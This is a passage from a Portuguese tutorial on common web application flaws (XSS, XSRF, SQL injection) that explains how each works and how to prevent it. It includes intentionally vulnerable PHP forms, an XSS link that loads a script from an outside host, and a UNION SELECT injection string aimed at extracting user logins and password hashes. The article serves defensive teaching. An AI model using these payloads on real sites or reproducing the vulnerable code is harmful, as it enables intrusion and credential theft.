Na informatica nada e perfeito. Todas as aplicacoes tem bugs ou falhas de seguranca. As aplicacoes web nao sao excepcao. Nos tempos que correm, a Internet tem assumido um papel bastante importante na vida das pessoas: os adolescentes falam usando o mais que sobre-lotado MSN, socializam atraves do Hi5, MySpace e espacos semelhantes, mostram as suas criacoes em comunidades como o deviantART, os adultos veem uns videos no YouTube e mandam emails para os amigos. Nesta pequena lista de actividades, a maior parte das pessoas nao sabe que podera estar a ser vitima de um ataque gracas a falhas nos sites que esta a visitar, falhas essas que muitas vezes se devem a pequenos descuidos do programador. O objectivo deste artigo e elucidar o leitor sobre os tipos de falhas que se descobrem com mais frequencia, como funcionam e como as evitar.De acordo com o estudo OWASP (Open Web Application Security Project) Top 10 de 2007, as vulnerabilidades que existem em mais abundancia na web sao:Falhas XSS e XSRFEste tipo de falhas consiste em injectar codigo (normalmente JavaScript ou VBscript) no browser do utilizador, alterando o codigo da pagina, podendo assim levar ao roubo de informacoes. Erros em validacoes de parametros enviados pelo metodo GET ou POST sao o principal motor deste tipo de falha.Exemplo de codigo que nao faz qualquer tipo de validacao aos parametros enviados:Codigo: <html><head><title>Falha de XSS</title></head><body><h1>Pesquisa</h1><form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="GET"><input type="text" name="pesquisa" /><br /><br /><input type="submit" name="botao" value="Pesquisar!" /></form><?phpif(!empty($_GET)){echo "Esta a pesquisar por: ".$_GET['pesquisa'];}?></body></html>Neste pequeno script em PHP, poderiamos brincar um bocadinho com o utilizador, fazendo-o clicar, por exemplo, neste link:http://www.exemplo.com/ficheiro_vulneravel.php?pesquisa=%3Cscript%20src=http://kakakeys.com/xs.js%3E%3C/script%3ENeste caso, o script era inofensivo e limitou-se a abrir aquela janela a dizer xss!, mas poderia ter sido usado em conjunto com XSRF para roubo de cookies, por exemplo.As falhas de XSRF sao, nada mais nada menos, que um tipo de ataques XSS, onde a pagina e alterada para enganar o utilizador e roubar informacao. A analise a um ataque XSRF, neste caso no popular Hi5, pode ser visto aqui [url="http://forums.ptsec.net/index.php?showtopic=988"](ver o quadro Ler mais, 2o link).[/url]As falhas de XSS e XSRF podem ser evitadas usando, por exemplo, uma funcao para remover tags HTML (ver a funcao strip_tags() no manual do PHP: http://pt2.php.net/strip_tags) ou para trocar certos caracteres pelo seu HTML entity (ver a funcao htmlentities() no manual do PHP:http://pt2.php.net/htmlentities).Falhas de injeccao e Insecure Direct Object ReferenceInjeccao de SQL e das vulnerabilidades mais conhecidas (senao a mais conhecida) pela Internet. Pequenos erros de validacao podem se revelar catastroficos e extremamente embaracantes. A titulo de exemplo, a Microsoft do Reino Unido foi vitima da exploracao de uma vulnerabilidade de injeccao de SQL [url="http://www.zone-h.org/content/view/14734/31/"](ver 3o link no quadro Ler mais)[/url]Exemplo de codigo vulneravel:Codigo:<html><head><title>Falha de SQL Injection</title></head><body><h1>Pesquisa</h1><form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"><input type="text" name="pesquisa" /><br /><br /><input type="submit" name="botao" value="Pesquisar!" /></form><?php$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');mysql_select_db("site");$res = mysql_query("SELECT id, uniq FROM blog WHERE tags LIKE '%".$_POST['pesquisa']."%'");while(($r = mysql_fetch_array($res))){echo '<a href="post.php?id='.$r['id'].'">'.$r['uniq']."</a><br />";}?></body></html>Ao escrever na pesquisa UNION SELECT id, uniq FROM logins# (sem aspas), poderia obter os IDs dos utilizadores (o nome de utilizador por exemplo), e o hash da sua palavra-passe